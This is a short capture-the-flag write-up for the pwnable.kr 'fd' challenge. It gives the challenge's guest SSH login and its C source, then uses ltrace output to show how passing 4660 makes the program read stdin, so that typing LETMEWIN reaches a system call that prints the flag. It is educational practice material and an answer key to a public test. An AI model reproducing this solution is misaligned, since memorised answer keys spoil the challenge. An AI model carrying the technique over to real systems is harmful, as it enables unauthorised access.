pwnable.kr: fd Writeup
1. Overview
fd is a challenge about using your knowledge of Unix file descriptors to exploit the given binary and retrieve the flag.
2. Recon
SSH in as the fd
user
ssh fd@pwnable.kr -p2222
fd@pwnable.kr's password: guest
Reading the source code, the program takes in one argument, converts it to an integer, subtracts 4060
cat ./fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
The first argument of the read function (fd) = argv[1] - 4660
ltrace ./fd 0
__libc_start_main(0x565bc20d, 2, 0xfffd8954, 0 <unfinished ...>
atoi(0xfffd9dbb, 0, 0xf7ca24be, 0x565bc225) = 0
read(-4660, "", 32) = -1
strcmp("LETMEWIN\n", "") = 1
puts("learn about Linux file IO"learn about Linux file IO
) = 26
+++ exited (status 0) +++
3. Exploitation
4660 would make fd 0, and use stdin
ltrace ./fd 4660
__libc_start_main(0x5657720d, 2, 0xfff0f354, 0 <unfinished ...>
atoi(0xfff0fdb8, 0, 0xf7cf24be, 0x56577225) = 4660
read(0LETMEWIN
, "LETMEWIN\n", 32) = 9
strcmp("LETMEWIN\n", "LETMEWIN\n") = 0
puts("good job :)"good job :)
) = 12
getegid() = 1002
getegid() = 1002
setregid(1002, 1002, 0xf7db9370, 0x565772c6) = 0
system("/bin/cat flag"/bin/cat: flag: Permission denied
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
exit(0 <no return ...>
+++ exited (status 0) +++
Use the 0 file descriptor and input LETMEWIN to pass the strcmp and output the flag
./fd 4660
LETMEWIN
good job :)
**REDACTED**